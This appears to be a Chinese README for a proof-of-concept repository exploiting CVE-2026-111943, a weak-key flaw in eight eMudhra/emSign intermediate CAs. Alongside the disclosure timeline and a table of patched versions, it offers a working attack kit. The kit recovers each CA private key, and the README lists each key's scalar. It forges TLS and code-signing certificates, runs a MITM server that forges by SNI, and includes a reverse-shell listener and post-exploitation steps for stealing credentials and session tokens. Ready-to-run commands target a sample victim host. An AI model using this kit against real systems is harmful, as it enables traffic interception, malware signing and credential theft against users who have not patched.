CVE-2026-111943 的概念验证:恢复弱 eMudhra 中间 CA 私钥,伪造 TLS/代码签名证书,并运行基于 SNI 的 MITM 服务器以及信任存储扫描器。
CVE: CVE-2026-111943(Go)、GHSA-6q48-6c7w-9gw2(certifi) 日期: 披露于 2026 年 10 月 17 日至 22 日 严重程度: 严重 — 可为任意主机名伪造有效的 TLS 和代码签名证书
2025 年 4 月,八张 eMudhra/emSign 中间 CA 证书被创建,其使用 P-384 ECC 密钥,而私钥标量 d 是一个极小的整数:
d in {4, 56, 66, 115, 155, 156, 230, 237}
任何人都可以在毫秒级时间内,通过尝试每个候选标量从公开证书中恢复出私钥。八个中间 CA 中有六个可以为任意主机名签发 TLS 证书;其中两个是代码签名 CA。
| 日期 | 事件 |
|---|---|
| 2025 年 4 月 30 日 | 使用弱密钥创建了八个中间 CA |
| 2025 年 5 月 | 八个中间 CA 全部由 Sectigo 的 AAA Certificate Services 根证书交叉签名 |
| 2026 年 10 月 17 日 | 研究员 “Wayne” 报告该弱点;Chrome/Firefox 在数小时内将其阻止 |
| 2026 年 10 月 19 日 | Apple 通过 macOS/iOS 更新将其阻止 |
| 2026 年 10 月 20 日 | Microsoft 通过 Windows Update 将其阻止;Go 1.27.3 发布 |
| 2026 年 10 月 22 日 | Apple 的保护措施全面推出 |
| 软件 | 已修补版本 | 状态 |
|---|---|---|
| Python certifi | 2026.10.19 | 需要更新 |
| pip | 26.2.2 | 需要更新(自带 certifi) |
| Go | 1.27.3 / 1.26.10 | CVE-2026-111943 |
| Node.js 26.x | 26.12.1 | SPKI 阻止列表 |
| Node.js 24.x | 24.22.1 | SPKI 阻止列表 |
| Node.js 22.x | 22.23.4 | SPKI 阻止列表 |
| Electron 44 | 44.9.1 | 需要更新 |
| Electron 43 | 43.8.1 | 需要更新 |
| Electron 42 | 42.11.16 | 需要更新 |
| Rust rustls-webpki | 0.103.16 | 需要更新 |
| Rust webpki-roots | 1.0.10 | 需要更新 |
| Bun | 1.4.4 | 需要更新 |
| sigstore | 4.5.1 | 需要更新 |
| Debian ca-certificates | 20250419~deb12u2 | 需要更新 |
| Ubuntu ca-certificates | 20260816ubuntu0.* | 需要更新 |
| Alpine ca-certificates | 20261020-r0 | 需要更新 |
| NSS | 3.131.1 | 移除根证书 |
| curl CA bundle | 2026-10-20 | 需要更新 |
| Java cacerts | 将 16 个 SHA-256 哈希添加到 blocked.certs | 手动修复 |
[ Attacker ]
|
|-- (1) Recover compromised CA private key
| - Extract public key from intermediate certificate
| - Try each weak scalar d in {4, 56, 66, 115, 155, 156, 230, 237}
| - Derive private key with ec.derive_private_key(d, SECP384R1)
| - Takes milliseconds
|
|-- (2) Forge a leaf certificate
| - Generate a new leaf key pair
| - Build a certificate for the target hostname (CN + SAN)
| - Sign with the recovered CA private key
| - The forged cert chains to the real intermediate and root
|
|-- (3) Deploy MITM TLS server
| - Set up a TLS server with the forged certificate
| - Listen for incoming connections from vulnerable clients
| - Auto-forge certificates based on SNI (hostname)
|
|-- (4) Intercept TLS traffic
| - Client connects to MITM server (via DNS poisoning, ARP spoofing, etc.)
| - MITM presents forged certificate chain
| - Vulnerable client accepts (unpatched trust store)
| - MITM decrypts and reads all traffic
|
`-- (5) Post-exploitation
- Inject payloads, steal credentials, session tokens
- Establish reverse shell through the MITM channel
- Pivot to internal networks
八个已泄露的中间 CA 证书使用 P-384 ECC 密钥,其私钥标量小得微不足道。key_recovery.py 模块:
{4, 56, 66, 115, 155, 156, 230, 237} 中逐一尝试每个候选标量 dec.derive_private_key(d, SECP384R1()) 推导私钥这一过程只需毫秒级时间,因为只有 8 个候选值需要尝试。
cert_forger.py 模块:
--chain emsign 指定 emSign 签发的副本)mitm_server.py 模块:
scanner.py 模块检查:
CVE-2026-111943-Emudhra-Ca-Compromise-POC/
key_recovery.py Recover private keys from compromised CA certs
cert_forger.py Forge TLS/code-signing certificates
scanner.py Scan for vulnerable clients (unpatched trust stores)
mitm_server.py MITM TLS server with auto-forging on SNI
exploit.py Full exploit chain orchestrator
listener.py Reverse shell listener (post-exploitation)
emudhra_ca.sh Shell wrapper (scan/keys/forge/mitm/full)
README.md This file
cryptography 库:pip install cryptographypython3 key_recovery.py --list
python3 scanner.py --scan-all
python3 key_recovery.py --cn "EM DV TLS CA - G3B" --export recovered_key.pem
python3 cert_forger.py --hostname api.victim.com --ca "EM DV TLS CA - G3B" --output-dir ./certs
python3 mitm_server.py --port 8443 --ca "EM DV TLS CA - G3B" --cert-dir ./certs
python3 exploit.py --target-hostname api.victim.com --port 8443
./emudhra_ca.sh scan
./emudhra_ca.sh keys
./emudhra_ca.sh forge api.victim.com
./emudhra_ca.sh mitm 8443
./emudhra_ca.sh full api.victim.com 8443 "EM DV TLS CA - G3B"
终端 1(监听端):
python3 listener.py --port 4444
终端 2(MITM 服务器通过拦截的流量注入载荷):
python3 mitm_server.py --port 8443
每个中间证书都被签发了两次:一次由 emSign 根证书签发,另一次作为 Sectigo 交叉签名,挂在 AAA Certificate Services 之下。交叉签名是默认链(--chain aaa),因为即使 emSign 根证书被移除,仍然信任 AAA Certificate Services 的客户端也会接受它。--chain emsign 则改为提供由 emSign 签发的副本。
下面的私有标量就是能够重现该中间证书已发布公钥的那个值。
| # | 通用名称 | d | 类型 | 签发者 |
|---|---|---|---|---|
| 1 | EM DV TLS CA - G3B | 156 | TLS | emSign Root TLS CA - G3,由 AAA Certificate Services 交叉签名 |
| 2 | EM OV TLS CA - G3B | 155 | TLS | emSign Root TLS CA - G3,由 AAA Certificate Services 交叉签名 |
| 3 | EM EV TLS CA - G3B | 115 | TLS | emSign Root TLS CA - G3,由 AAA Certificate Services 交叉签名 |
| 4 | EM DV TLS CA - G3C | 230 | TLS | emSign Root TLS CA - G3,由 AAA Certificate Services 交叉签名 |
| 5 | EM OV TLS CA - G3C | 4 | TLS | emSign Root TLS CA - G3,由 AAA Certificate Services 交叉签名 |
| 6 | EM EV TLS CA - G3C | 56 | TLS | emSign Root TLS CA - G3,由 AAA Certificate Services 交叉签名 |
| 7 | EM OV CS CA - G3B | 66 | 代码签名 | emSign Root CS CA - G3,由 AAA Certificate Services 交叉签名 |
| 8 | EM OV CS CA - G3C | 237 | 代码签名 | emSign Root CS CA - G3,由 AAA Certificate Services 交叉签名 |
AAA Certificate Services D7A7A0FB5D7E2731D771E9484EBCDEF71D5F0C3E0A2948782BC83EE0EA699EF4
emSign ECC Root CA - G3 86A1ECBA089C4A8D3BBE2734C612BA341D813E043CF9E8A862CD5C57A36BBE6B
emSign Root TLS CA - G3 7DD78D5F4F13459A83DFF9ABBBA62EDBAF6F2D102BF257FD712F4D9F2746ED8D
emSign Root CS CA - G3 F2EDAAFF3D9B701FB4D14C9F285F8C0BAD90FC3BCC1FA07D47F4718EDABA34A5
emudhra-weak-keys 可在 TLS 握手过程中检测受影响的证书Compromised_Intermediate_Cert 告警